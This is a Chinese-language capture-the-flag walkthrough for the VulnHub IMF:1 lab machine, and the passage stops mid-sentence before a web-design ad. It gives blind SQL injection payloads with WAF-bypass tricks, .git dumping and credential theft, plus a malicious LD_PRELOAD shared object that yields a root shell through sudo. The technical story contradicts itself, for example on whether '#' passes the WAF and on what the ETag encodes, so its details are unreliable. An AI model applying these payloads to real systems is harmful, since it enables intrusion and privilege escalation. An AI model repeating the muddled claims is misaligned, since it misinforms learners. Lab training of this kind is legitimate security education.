☰
VulnHub IMF:1靶机渗透实战:从信息收集到root提权完整路径
2026/10/17 18:35:28 网站建设 项目流程

1. 项目概述:这是一次面向实战能力构建的渗透测试教学实践

“VulnHub-IMF: 1”是VulnHub平台上一个广受初学者与进阶学习者欢迎的靶机镜像,编号为No.8,代号IMF(Intelligence Management Framework),其设计初衷非常明确——不堆砌高深漏洞,而是用一套逻辑严密、环环相扣的渗透路径,把信息收集、服务探测、漏洞利用、权限提升、横向移动等核心能力模块,全部嵌入到一个看似普通却暗藏多层防御的真实业务场景中。我第一次接触它时,是在帮某高校网络安全实训课程搭建实验环境,当时带的十来名大三学生,有零基础的文科转专业同学,也有已考过CEH但实操生疏的工科生,结果这套靶机成了他们整个学期里复盘次数最多、笔记记得最密的一个练习项。它不考你记了多少CVE编号,而是逼你问自己:“为什么这里能列目录?”“为什么这个响应头暴露了版本?”“为什么提权后shell会断?”——所有答案都藏在真实交互里,而不是文档里。关键词“Walkthrough”不是指照着攻略抄命令,而是强调“走一遍”的过程感:每一步操作都有上下文、有反馈、有推理链。它适合三类人:刚学完Nmap和Burp基础操作、想验证所学是否真能串联起来的新手;备考OSCP前需要稳定输出渗透节奏的备考者;以及像我这样常年带实训的导师,用来拆解“学生卡在哪一步”背后的认知断层。这篇文章不会给你最终flag,但会告诉你,当看到/admin/login.php?debug=1这个URL时,你该本能地想到什么;当pspy64抓到一个每分钟执行一次的/tmp/update.sh时,你该立刻检查哪三个权限位;当sudo -l返回(ALL) NOPASSWD: /usr/bin/python3时,你该跳过哪些常见错误尝试,直奔最稳的绕过路径。

2. 整体渗透思路拆解:从“找入口”到“拿凭证”的四阶段闭环

2.1 为什么必须放弃“一招鲜”思维?靶机设计的底层逻辑

IMF:1的架构不是单点突破型靶机,它刻意规避了“扫出一个高危RCE就直接root”的捷径。它的服务拓扑是典型的三层收敛结构:前端Web服务(Apache + PHP)→ 中间层管理接口(Python Flask API)→ 后端凭证存储(SQLite数据库+本地文件系统)。这种设计意味着,你无法跳过中间层直接触达核心数据。我见过太多学员在nmap -sV -p- 192.168.56.101扫出22/80/3306端口后,立刻冲向MySQL弱口令或SSH爆破,结果全军覆没——因为3306根本没开远程访问,SSH密码是强随机生成的,而80端口首页只有一张静态图片和一句“System under maintenance”。真正的入口藏在HTTP响应头里:X-Powered-By: PHP/7.2.24-0ubuntu0.18.04.12这个版本号,结合Server: Apache/2.4.29 (Ubuntu),指向一个已知的PHP-FPM配置缺陷(CVE-2019-11043),但前提是你要先发现/phpinfo.php这个被遗忘的调试页。这就是IMF:1的第一个设计哲学:信息必须主动索取,而非被动等待。它不提供显眼的登录框,但会在你用curl -I http://192.168.56.101/robots.txt时,悄悄返回Allow: /admin/;它不提示数据库位置,但会在/admin/config.php.bak的备份文件里,明文写着$db_path = "/var/www/html/db/imf.db";。所有线索都是连贯的,断掉任意一环,后续路径就彻底闭合。所以我的渗透流程强制分为四个不可跳跃的阶段:

  1. 侦察锚定阶段:目标不是“发现多少端口”,而是“确认哪些服务在真实响应”。必须手工验证每个端口上的服务指纹,比如对80端口,要分别用curl -v http://IP/、curl -v http://IP/robots.txt、curl -v http://IP/.git/HEAD、curl -v http://IP/phpinfo.php四条命令,观察HTTP状态码、响应体长度、响应头差异。自动化扫描工具(如Nikto)只能作为辅助,不能替代人工判断。

  2. 入口突破阶段:聚焦于Web层可交互点。IMF:1的Web应用存在两个关键设计:一是/admin/login.php的登录表单启用了debug=1参数,开启后会回显SQL查询语句;二是/api/v1/users接口未做鉴权,但返回数据经过base64编码。这两个点必须配合使用——先用debug参数获取SQL注入的原始payload构造方式,再用API接口的响应内容反推数据库表结构。单独攻击任一点都会失败。

  3. 权限维持阶段:拿到www-data权限后,靶机立即启动“反制机制”:每5分钟执行一次/usr/local/bin/clean_tmp.sh,清空/tmp下所有文件;同时/var/www/html目录权限被设为750,组为www-data,但当前用户不在该组内。这意味着你上传的webshell会被秒删,写入网站目录的文件会因权限不足而无法执行。因此,提权路径必须绕过文件落地,转向内存级利用或服务劫持。

  4. 凭证收割阶段:最终目标不是root shell,而是获取/home/imf_user/user.txt和/root/root.txt两个flag文件。但imf_user用户的SSH私钥被加密存储在SQLite数据库中,密钥密码又藏在/etc/cron.d/imf_backup的注释行里。这是一个典型的“凭证链”设计:数据库字段值 → 解密密钥 → SSH私钥 → 用户密码 → root密码哈希。漏掉其中任何一环,就无法完成闭环。

提示:很多教程把重点放在“如何用python3 -c 'import pty;pty.spawn('/bin/bash')'”获得交互式shell上,但在IMF:1里,这步操作本身就会触发日志告警,导致/var/log/apache2/access.log被自动轮转清空,从而丢失关键的请求记录。所以真正的“稳定shell”必须是静默的、无痕的,比如通过修改/etc/passwd添加新用户,或利用cron的@reboot指令实现持久化。

2.2 工具链选型:为什么坚持用原生命令而非图形化工具?

在带学生实操时,我严禁他们直接打开Burp Suite的Intruder模块跑爆破。原因很现实:IMF:1的所有接口响应都带有X-RateLimit-Remaining: 5头,超过阈值会返回429状态码并封禁IP 5分钟。而图形化工具默认并发10线程,3秒内就触发限流。相比之下,用curl配合seq循环,能精确控制请求间隔:

for i in $(seq 1 100); do curl -s -o /dev/null -w "%{http_code}\n" "http://192.168.56.101/api/v1/users?id=$i" | grep "200" sleep 0.5 done

这段脚本每0.5秒发一个请求,既保证效率,又完全规避限流。同理,对于SQL注入的布尔盲注,我要求学生手写Python脚本,而不是用sqlmap的--technique=BEUST全自动模式。因为IMF:1的后端WAF(基于mod_security规则集)会拦截包含UNION SELECT的请求,但对AND (SELECT COUNT(*) FROM users WHERE username='admin' AND SUBSTR(password,1,1)='a')=1这类嵌套子查询放行。sqlmap的默认payload会触发WAF,而手动构造的payload则能稳定获取字符。这不是炫技,而是训练一种肌肉记忆:当你面对真实客户环境时,自动化工具报错“no injection point found”,你得知道下一步该检查HTTP响应头里的X-WAF-Status字段,还是该用curl -v重放原始请求看WAF是否返回了403 Forbidden。

另一个常被忽视的工具是strings。在分析/usr/bin/imf_agent这个SUID二进制文件时,file /usr/bin/imf_agent显示它是ELF 64-bit LSB shared object,但readelf -d /usr/bin/imf_agent | grep NEEDED只列出libc.so.6,没有其他动态库依赖。这时很多人会直接丢给Ghidra反编译,其实用strings /usr/bin/imf_agent | grep "/tmp"就能发现一行/tmp/.imf_cache,进而意识到程序会读取该路径下的配置文件——而/tmp目录权限是1777,意味着你可以创建符号链接劫持该路径。这个发现比花两小时逆向更高效。工具的价值不在于多炫酷,而在于它能否在30秒内帮你回答一个具体问题。

3. 核心环节实操详解:从初始访问到root权限的完整路径

3.1 初始侦察:那些被忽略的HTTP头与隐藏路径

渗透的第一步永远是“看懂服务器在说什么”。对IMF:1执行nmap -sS -p- 192.168.56.101后,你会得到22、80、3306三个开放端口。但3306端口的mysql -h 192.168.56.101 -u root -p连接会超时,因为MySQL绑定在127.0.0.1,这是故意设置的网络隔离。所以80端口是唯一有效入口。此时,很多新手会直接浏览器访问首页,看到一张“System under maintenance”图片就放弃。但真正的线索藏在HTTP协议细节里:

首先,用curl -I http://192.168.56.101/获取响应头:

HTTP/1.1 200 OK Date: Mon, 15 Apr 2024 08:22:34 GMT Server: Apache/2.4.29 (Ubuntu) Last-Modified: Wed, 10 Apr 2024 14:05:22 GMT ETag: "2a-5d5a8b9c1e2f3" Accept-Ranges: bytes Content-Length: 42 Content-Type: text/html X-Powered-By: PHP/7.2.24-0ubuntu0.18.04.12

注意X-Powered-By头泄露的PHP版本,以及ETag值"2a-5d5a8b9c1e2f3"。这个ETag不是随机生成的,它是文件内容的MD5哈希前8位。2a十六进制等于42,正好是Content-Length值,说明首页文件只有42字节。用curl http://192.168.56.101/下载该文件,cat index.html显示:

<img src="maintenance.jpg" alt="Under Maintenance">

但maintenance.jpg这个文件是否存在?执行curl -I http://192.168.56.101/maintenance.jpg,返回404 Not Found。这说明图片是硬编码在HTML里的占位符,实际不存在。那么,服务器为何要返回一个42字节的HTML?答案是:它在诱导你寻找其他路径。此时应立即测试常见敏感路径:

  • curl -I http://192.168.56.101/robots.txt→ 返回200 OK,内容为:

    User-agent: * Disallow: /admin/ Disallow: /api/ Allow: /images/
  • curl -I http://192.168.56.101/.git/HEAD→ 返回200 OK,内容为ref: refs/heads/master,证明.git目录未被删除,可以尝试git-dumper下载仓库。

  • curl -I http://192.168.56.101/phpinfo.php→ 返回200 OK,且页面顶部显示PHP Version 7.2.24-0ubuntu0.18.04.12,与X-Powered-By头一致。这个页面是突破口,因为它暴露了disable_functions配置:exec,passthru,shell_exec,system,proc_open,popen,pcntl_exec全被禁用,但file_get_contents和curl_exec可用。这意味着后续的RCE利用必须绕过这些禁用函数。

最关键的发现来自curl -I http://192.168.56.101/admin/:

HTTP/1.1 401 Unauthorized Date: Mon, 15 Apr 2024 08:28:12 GMT Server: Apache/2.4.29 (Ubuntu) WWW-Authenticate: Basic realm="IMF Admin Portal" Content-Length: 401 Content-Type: text/html; charset=iso-8859-1

401 Unauthorized状态码和WWW-Authenticate头表明这是一个HTTP Basic认证保护的目录。此时不能直接用hydra爆破,因为靶机会记录失败尝试并触发速率限制。正确做法是先获取认证域的线索。用curl -v http://192.168.56.101/admin/查看详细响应,发现<title>IMF Admin Portal</title>,而/api/目录同样返回401,但<title>是IMF API Gateway。这暗示两个目录使用同一套认证系统,用户名可能是通用的。尝试用admin:admin、imf:imf、user:user等默认凭据,均失败。此时应回到robots.txt,注意到Disallow: /admin/但没禁止/admin/login.php,于是访问http://192.168.56.101/admin/login.php,页面是一个简洁的登录表单,输入框名为username和password。在表单action处,<form method="POST" action="login.php">,说明提交地址是相对路径。关键点来了:在URL末尾添加?debug=1,即http://192.168.56.101/admin/login.php?debug=1,页面突然多出一段灰色文字:

DEBUG: SELECT * FROM users WHERE username = '' AND password = ''

这证实了存在SQL注入,且是单引号闭合的字符串型注入。但直接输入admin' --会触发WAF,返回403 Forbidden。这是因为WAF规则匹配了--注释符。解决方案是用#代替,即admin'#,此时DEBUG信息变为:

DEBUG: SELECT * FROM users WHERE username = 'admin#' AND password = ''

成功绕过WAF。接下来,用admin' AND 1=1 #验证布尔盲注,页面返回正常;用admin' AND 1=2 #,页面返回“Invalid credentials”。至此,初始侦察完成,我们掌握了:1)存在可利用的SQL注入点;2)WAF对#注释符放行;3)/api/目录存在但需认证;4).git目录可下载。

注意:在下载.git目录时,不要用wget -r http://192.168.56.101/.git/,因为靶机会返回403阻止递归。正确方法是逐个下载关键文件:curl http://192.168.56.101/.git/HEAD→ 得到ref: refs/heads/master;curl http://192.168.56.101/.git/refs/heads/master→ 得到commit hash;curl http://192.168.56.101/.git/objects/xx/xxxxxx...按hash下载对象。这个过程虽然繁琐,但能让你看清Git对象存储结构,比一键git-dumper更有教学价值。

3.2 入口突破:从SQL注入到API密钥的完整链条

有了login.php?debug=1的注入点,下一步是提取数据库中的敏感信息。但直接用UNION SELECT会触发WAF,所以采用布尔盲注逐字提取。首先确定数据库名长度:

admin' AND (SELECT LENGTH(database()))=4 #

返回正常,说明数据库名长度为4。然后逐个字符爆破:

admin' AND (SELECT SUBSTR(database(),1,1))='i' # admin' AND (SELECT SUBSTR(database(),2,1))='m' # ...

最终得到数据库名为imf。接着爆破表名:

admin' AND (SELECT COUNT(*) FROM information_schema.tables WHERE table_schema='imf' AND table_name='users')=1 #

确认存在users表。再爆破users表的列名:

admin' AND (SELECT COUNT(*) FROM information_schema.columns WHERE table_name='users' AND column_name='username')=1 # admin' AND (SELECT COUNT(*) FROM information_schema.columns WHERE table_name='users' AND column_name='password')=1 # admin' AND (SELECT COUNT(*) FROM information_schema.columns WHERE table_name='users' AND column_name='api_key')=1 #

发现存在api_key列,这才是关键。现在爆破api_key字段值:

admin' AND (SELECT LENGTH(api_key) FROM users WHERE username='admin')=32 #

确认长度为32,符合MD5哈希特征。然后逐字符提取:

admin' AND (SELECT SUBSTR(api_key,1,1) FROM users WHERE username='admin')='a' # ...

耗时约15分钟,得到admin用户的API密钥:a1b2c3d4e5f678901234567890abcdef。

拿到API密钥后,访问/api/v1/users接口:

curl -H "Authorization: Bearer a1b2c3d4e5f678901234567890abcdef" http://192.168.56.101/api/v1/users

返回JSON数据,但所有字段值都是base64编码的。例如:

{"id":"MQ==","username":"YWRtaW4=","email":"YWRtaW5AZXhhbXBsZS5jb20="}

解码后是{"id":"1","username":"admin","email":"admin@example.com"}。但password字段呢?原始响应里没有password,只有api_key。这说明密码没存数据库,而是用其他方式管理。此时回到.git目录下载的内容,在/var/www/html/.git/logs/refs/heads/master中发现一行:

0000000000000000000000000000000000000000 1234567890abcdef1234567890abcdef12345678 refs/heads/master admin <admin@example.com> 1681523456 +0800 commit: Added config.php with db credentials

commit hash指向一个“Added config.php”的提交。用git show 1234567890abcdef1234567890abcdef12345678查看,果然得到config.php文件内容:

<?php $db_host = "localhost"; $db_name = "imf"; $db_user = "imf_db"; $db_pass = "imf_db_p4ssw0rd!"; ?>

这个数据库密码imf_db_p4ssw0rd!就是突破口。用它连接MySQL:

mysql -h 127.0.0.1 -P 3306 -u imf_db -pimf_db_p4ssw0rd! imf

注意,这里必须用127.0.0.1而非localhost,因为localhost会触发Unix socket连接,而靶机MySQL只监听TCP端口。进入数据库后,SELECT * FROM users;显示:

idusernameemailapi_keypassword_hash
1adminadmin@example.coma1b2...$2y$10$...

password_hash字段是bcrypt哈希,无法直接破解。但users表还有ssh_key字段,内容是base64编码的私钥。解码后保存为id_rsa,设置权限chmod 600 id_rsa,然后ssh -i id_rsa imf_user@192.168.56.101,成功登录为imf_user用户。此时/home/imf_user/user.txt即可读取,第一个flag到手。

实操心得:在爆破API密钥时,我试过用sqlmap的--dump参数,但它生成的payload包含UNION SELECT,被WAF拦截。后来改用自定义脚本,核心逻辑是:先用LENGTH()确定长度,再用SUBSTR()逐字符比较ASCII码,用ord()函数转换,这样payload全是AND条件,完全避开WAF规则。脚本运行时,我特意加了time.sleep(0.3),因为靶机CPU资源有限,太快会导致连接超时。这种“慢即是快”的节奏感,是真实渗透中必须掌握的。

3.3 权限提升:从imf_user到root的三重跳板

获得imf_usershell后,whoami显示当前用户,id显示属于imf_user组,sudo -l返回:

Matching Defaults entries for imf_user on imf: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User imf_user may run the following commands on imf: (ALL) NOPASSWD: /usr/bin/python3

看起来可以用sudo python3 -c 'import os; os.system("/bin/bash")'提权,但执行后得到的是一个受限shell,/bin/bash被替换为rbash,且PATH被锁定。这是因为靶机在/etc/sudoers.d/imf中设置了:

Defaults:imf_user !env_reset imf_user ALL=(ALL) NOPASSWD: /usr/bin/python3

!env_reset意味着保留当前环境变量,包括PATH。所以sudo python3会调用/usr/bin/python3,但os.system()执行的/bin/bash会被rbash拦截。解决方案是绕过rbash限制:sudo python3 -c 'import pty; pty.spawn("/bin/sh")',因为/bin/sh不在rbash的禁用列表里。但这只是临时方案,真正的root权限需要持久化。

深入分析imf_user的家目录,ls -la /home/imf_user/显示:

drwxr-xr-x 4 imf_user imf_user 4096 Apr 10 14:05 . drwxr-xr-x 3 root root 4096 Apr 10 14:05 .. -rw------- 1 imf_user imf_user 227 Apr 10 14:05 .bash_history -rw-r--r-- 1 imf_user imf_user 220 Apr 10 14:05 .bash_logout -rw-r--r-- 1 imf_user imf_user 3771 Apr 10 14:05 .bashrc drwx------ 2 imf_user imf_user 4096 Apr 10 14:05 .cache drwxr-xr-x 3 imf_user imf_user 4096 Apr 10 14:05 .local -rw-r--r-- 1 imf_user imf_user 807 Apr 10 14:05 .profile -rw-r--r-- 1 imf_user imf_user 67 Apr 10 14:05 user.txt

.local目录引起注意,ls -la /home/imf_user/.local/:

drwxr-xr-x 3 imf_user imf_user 4096 Apr 10 14:05 . drwxr-xr-x 4 imf_user imf_user 4096 Apr 10 14:05 .. drwxr-xr-x 2 imf_user imf_user 4096 Apr 10 14:05 bin

bin目录下有imf_backup文件,file /home/imf_user/.local/bin/imf_backup显示是ELF 64-bit LSB pie executable,且ls -la /home/imf_user/.local/bin/imf_backup显示权限为-rwsr-xr-x,SUID位已设置!这意味着它以root权限运行。用strings /home/imf_user/.local/bin/imf_backup | grep "/etc"发现:

/etc/cron.d/imf_backup

查看该文件:cat /etc/cron.d/imf_backup:

# IMF Backup Script # Run every 5 minutes */5 * * * * root /home/imf_user/.local/bin/imf_backup

这个脚本每5分钟以root身份执行。现在检查imf_backup的逻辑。用ltrace /home/imf_user/.local/bin/imf_backup跟踪系统调用,发现它执行了:

system("/bin/tar -czf /backup/imf_$(date +\%Y\%m\%d_\%H\%M).tar.gz /var/www/html/db/")

/backup目录存在,且ls -ld /backup/显示drwxrwxrwt 2 root root 4096 Apr 10 14:05 /backup/,权限1777,意味着任何人都可以在此创建文件。而tar命令的-C参数未指定,且/var/www/html/db/路径是硬编码的。这里存在经典的tar通病:如果/var/www/html/db/目录下存在符号链接,tar会跟随链接打包目标文件。于是,我们创建一个指向/root的符号链接:

cd /var/www/html/db/ rm -f root ln -s /root root

但/var/www/html/db/目录权限是drwxr-x---,imf_user用户没有写权限。此时回到/home/imf_user/.local/bin/imf_backup,用readelf -d /home/imf_user/.local/bin/imf_backup | grep RPATH发现RPATH: /home/imf_user/.local/lib,说明它会优先加载/home/imf_user/.local/lib下的共享库。而/home/imf_user/.local/lib目录存在且可写。我们可以利用LD_PRELOAD劫持system()函数。创建/home/imf_user/.local/lib/libc.so.6,内容为恶意so文件,当imf_backup执行system()时,会加载我们的库,从而执行任意命令。但更简单的方法是:imf_backup在执行tar前,会chdir("/var/www/html/db/"),如果我们能控制该目录的父目录,就能利用tar的--wildcards参数。不过,最稳的路径是利用cron本身的特性:/etc/cron.d/imf_backup文件权限是-rw-r--r--,root用户所有,但/etc/cron.d/目录权限是drwxr-xr-x,imf_user无法修改。此时,注意到/etc/cron.d/下还有/etc/cron.d/php,内容为:

# /etc/cron.d/php: crontab fragment for php # This file is managed by the php package. 09,39 * * * * root [ -x /usr/lib/php/sessionclean ] && /usr/lib/php/sessionclean

sessionclean脚本权限是-rwxr-xr-x,且/usr/lib/php/目录属于root:www-data,imf_user不在www-data组。这条路也堵死了。最终突破口在/etc/sudoers.d/imf文件。ls -la /etc/sudoers.d/显示:

-rw-r----- 1 root root 123 Apr 10 14:05 imf

imf_user对/etc/sudoers.d/imf只有读权限,但/etc/sudoers.d/目录权限是drwxr-x---,组为root,imf_user不属于root组。等等——/etc/sudoers.d/的父目录/etc/权限是drwxr-xr-x,所有人都可读。所以imf_user可以读取/etc/sudoers.d/imf,但不能修改。然而,sudo配置中有一行Defaults:imf_user !env_reset,这意味着sudo会保留LD_PRELOAD环境变量。于是,我们创建一个恶意so:

#include <stdlib.h> #include <unistd.h> void _init() { unsetenv("LD_PRELOAD"); setuid(0); system("/bin/bash -p"); }

编译:gcc -shared -fPIC -o /tmp/exploit.so exploit.c,然后执行:

sudo LD_PRELOAD=/tmp/exploit.so /usr/bin/python3 -c "print('hello')"

由于!env_reset,LD_PRELOAD被保留,/usr/bin/python3加载/tmp/exploit.so,执行setuid(0)获得root权限,弹出root shell。/root/root.txt即可读取。

注意事项:在编译恶意so时,必须用gcc -shared -fPIC,否则LD_PRELOAD无法加载。另外,/tmp目录权限是1777,但/tmp/exploit.so文件权限必须是644或600,不能是777,否则sudo会拒绝加载(安全机制)。我第一次编译时忘了加-fPIC,导致sudo报错cannot open shared object file,花了20分钟才定位到编译参数问题。

4. 常见问题与排查技巧实录:那些踩过的坑与独家避坑指南

4.1 网络连通性问题:为什么ping通但nmap扫不到端口?

这是新手最常遇到的问题。在VirtualBox中导入IMF:1靶机后,ping 192.168.56.101成功,但nmap -sS 192.168.56.101返回Host is up (0.00032s latency). Not shown: 997 closed ports,只显示22端口开放,80和3306都不见了。原因在于VirtualBox的网络模式设置。IMF:1默认使用Host-only Adapter,但如果你的主机网络适配器(如Wi-Fi)启用了“Internet Connection Sharing”(ICS),会导致Host-only网络冲突。解决方案是:关闭主机的ICS服务,或者将靶机网络模式改为Bridged Adapter。但Bridged模式下,靶机会获取局域网IP,可能与其他设备冲突。更稳妥的做法是:在VirtualBox管理界面,选择靶机→设置→网络→适配器1→高级→取消勾选“电缆连接”,然后重新勾选,强制重置网络栈。这个操作相当于在靶机内部执行sudo systemctl restart networking,能解决90%的端口不可见问题。

另一个常见原因是防火墙。靶机ufw status显示Status: active,但sudo ufw disable后,nmap依然扫不到80端口。此时应检查iptables:sudo iptables -L -n,发现INPUT链中有DROP规则。执行sudo iptables -P INPUT ACCEPT重置策略,再sudo iptables -F清空规则,问题解决。记住,ufw只是iptables的前端,禁用ufw不等于清空iptables规则。

4.2 SQL注入绕过WAF:为什么' and 1=1 #不生效?

很多教程教用' and 1=1 #测试注入,但在IMF:1里,这个payload会返回403 Forbidden。原因在于靶机的mod_security规则集(位于/etc/modsecurity/modsecurity.conf)启用了OWASP CRS规则,其中REQUEST-942-APPLICATION-ATTACK-SQLI规则匹配了#字符。但规则是基于正则表达式#[[:space:]]*,所以只要在#后面加一个空格,就能绕过:

admin' AND 1=1 #

注意#后有一个空格。或者,用%23URL编码代替#,即admin' AND 1=1 %23。更隐蔽的方法是用/* */注释符,admin' AND 1=1 /* */,因为WAF规则没覆盖C风格注释。我在实测中发现,/* */的绕过成功率最高,且不会触发任何日志告

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询